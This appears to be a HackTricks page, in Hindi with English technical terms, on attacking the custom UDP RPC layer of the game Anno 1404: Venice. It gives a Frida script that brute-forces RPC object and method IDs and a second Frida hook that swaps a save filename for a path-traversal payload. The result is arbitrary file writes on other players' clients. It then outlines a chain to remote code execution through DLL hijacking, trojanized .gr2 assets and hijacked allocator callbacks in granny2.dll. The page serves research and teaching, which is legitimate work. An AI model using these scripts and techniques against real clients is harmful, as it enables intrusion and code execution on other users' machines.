कस्टम UDP RPC एन्यूमरेशन और File-Transfer दुरुपयोग
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Frida के साथ स्वामित्व वाले RPC ऑब्जेक्ट्स का मानचित्रण
पुराने मल्टीप्लेयर टाइटल अक्सर UDP पर इन-हाउस RPC stacks एम्बेड करते हैं। Anno 1404: Venice में यह NetComEngine3.dll के अंदर RMC_CallMessage dispatcher के माध्यम से लागू किया गया है, जो हर datagram से 5 फील्ड पार्स करता है:
| Field | Purpose |
|---|---|
ID | RPC क्रिया (16-bit) |
Flags | ट्रांसपोर्ट संशोधक (reliability, ordering) |
Source | कॉलर का ऑब्जेक्ट ID |
TargetObject | रिमोट ऑब्जेक्ट इंस्टेंस |
Method | लक्षित क्लास के अंदर मेथड इंडेक्स |
दो हेल्पर फंक्शन्स – ClassToMethodName() और TargetName() – कच्चे IDs को लॉगिंग के लिए मानव-पठनीय स्ट्रिंग्स में अनुवादित करते हैं। 24‑bit ऑब्जेक्ट IDs और 16‑bit मेथड IDs पर brute-forcing करके और उन हेल्पर्स को कॉल करके हम बिना ट्रैफ़िक कैप्चर या symbol leaks के पूरी दूरस्थ रूप से पहुंच योग्य सतह को एन्यूमरेट कर सकते हैं।
Frida सतह एन्यूमरेटर (संक्षिप्त)
```javascript 'use strict';const classToMethod = Module.getExportByName(‘NetComEngine3.dll’, ‘ClassToMethodName’); const targetName = Module.getExportByName(‘NetComEngine3.dll’, ‘TargetName’);
function tryID(objID, methodID) { const method = new NativeFunction(classToMethod, ‘pointer’, [‘pointer’, ‘uint’]); const target = new NativeFunction(targetName, ‘pointer’, [‘pointer’]); const buf = Memory.alloc(Process.pointerSize); buf.writeU32(objID); const m = method(buf, methodID); if (!m.isNull()) { const t = target(buf); console.log(objID.toString(16), ‘=’, t.readUtf16String()); console.log(’ -’, methodID, ‘=’, m.readUtf16String()); } }
for (let obj = 0; obj < 0x9000000; obj += 0x400000) { for (let meth = 0; meth < 0x40; meth++) { tryID(obj, meth); } }
</details>
जब `frida -l explore-surface.js Addon.exe` चलाया गया तो पूरा RPC मैप मिला, जिसमें `Player` ऑब्जेक्ट (`0x7400000`) और उसके file-transfer verbs `OnSendFileInit`, `OnSendFileData`, `OnReceivedFileData`, और `OnCancelSendFile` शामिल थे। वही workflow किसी भी बाइनरी प्रोटोकॉल पर लागू होता है जो internal reflection helpers एक्स्पोज़ करता है: dispatcher को intercept करें, IDs को brute-force करें, और engine पहले से जो जानता है उन callable methods को log करें।
### सुझाव
- अप्रलेखित string encodings को reimplement करने से बचने के लिए engine के अपने logging buffers (`WString::Format` इस केस में) का उपयोग करें।
- `Flags` को dump करें ताकि reliability features (ACK, resend requests) की पहचान हो सके fuzzing शुरू करने से पहले; custom UDP stacks अक्सर malformed packets को silently drop कर देती हैं।
- Enumerated map को store करें — यह एक fuzzing corpus के रूप में काम करता है और स्पष्ट करता है कि कौन से objects filesystem, world state, या in-game scripting को manipulate करते हैं।
## file-transfer RPCs को subvert करना
Multiplayer save synchronization ने two-packet handshake का उपयोग किया:
1. `OnSendFileInit` — क्लाइंट को incoming payload सेव करते समय उपयोग करने के लिए UTF‑16 filename भेजता है।
2. `OnSendFileData` — raw file contents को fixed-size chunks में stream करता है।
क्योंकि सर्वर filename को `ByteStreamWriteString()` के माध्यम से भेजने से ठीक पहले serialize करता है, एक Frida hook pointer को traversal payload पर swap कर सकता है जबकि packet sizes को intact रखा जाता है।
<details>
<summary>Filename swapper</summary>
```javascript
const writeStr = ptr('0x1003A250');
const ByteStreamWriteString = new NativeFunction(writeStr, 'pointer', ['pointer', 'pointer']);
const evil = Memory.allocUtf16String('..\\..\\..\\..\\Sauvegarde.sww');
Interceptor.attach(writeStr, {
onEnter(args) {
const src = args[1].readPointer();
const value = src.readUtf16String();
if (value && value.indexOf('Sauvegarde.sww') !== -1) {
args[1].writePointer(evil);
}
}
});
पीड़ित क्लाइंट ने कोई sanitisation नहीं किया और प्राप्त save को hostile host द्वारा दिया गया किसी भी path पर लिख दिया, उदाहरण के लिए intended ...\Savegames\MPShare tree के बजाय C:\User\user में डाल दिया गया। Anno 1404 के Windows इंस्टॉलेशन्स में game directory world-writable होता है, इसलिए यह traversal तुरंत एक arbitrary file write primitive बन जाता है:
- Drop DLLs for classic search-order hijacking on next launch, or
- Overwrite asset archives (RDA files) ताकि weaponized models, textures, या scripts उसी session के दौरान live लोड हो जाएँ।
Defending / attacking other targets
- RPC verbs खोजें जिनके नाम
SendFile,Upload,ShareSave, आदि हों, फिर filenames या target directories के लिए जिम्मेदार serialization helper को intercept करें। - भले ही filenames की length-checked हो, कई stacks
..\या mixed/vs\sequences को canonicalize करना भूल जाते हैं; सभी separators पर brute-force करें। - जब रिसीवर files को game install path के अंतर्गत स्टोर करता है, तो पुष्टि करने के लिए
icaclsके माध्यम से ACLs जांचें कि क्या एक unprivileged user वहाँ code डाल सकता है।
Turning path traversal into live asset execution
एक बार जब आप arbitrary bytes upload कर सकते हैं, किसी भी frequently loaded asset को बदल दें:
- Unpack the archive. RDA archives DEFLATE-based containers हैं जिनकी metadata वैकल्पिक रूप से
srand(0xA2C2A)seeded streams से XOR-obfuscated होती है। Tools like RDAExplorer edits के बाद archives को re-pack करते हैं। - Inject a malicious
.gr2. Trojanized Granny 3D फ़ाइल उस relocation exploit को लेकर आती है जोSectionContentArrayको overwrite करता है और एक two-stage relocation sequence के माध्यम सेgranny2.dllके भीतर arbitrary 4-byte write हासिल करता है। - Hijack allocator callbacks. ASLR disabled और DEP off होने पर,
granny2.dllमेंmalloc/freefunction pointers को replace करने से अगली allocation आपके shellcode पर redirect हो जाती है, जिससे पीड़ित को गेम restart करने का इंतज़ार किए बिना immediate RCE मिल जाता है।
यह pattern किसी भी title पर सामान्यीकृत होता है जो binary archives से structured assets stream करते हैं: delivery के लिए RPC-level traversal और code execution के लिए unsafe relocation processing को मिलाएँ।
References
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
HackTricks

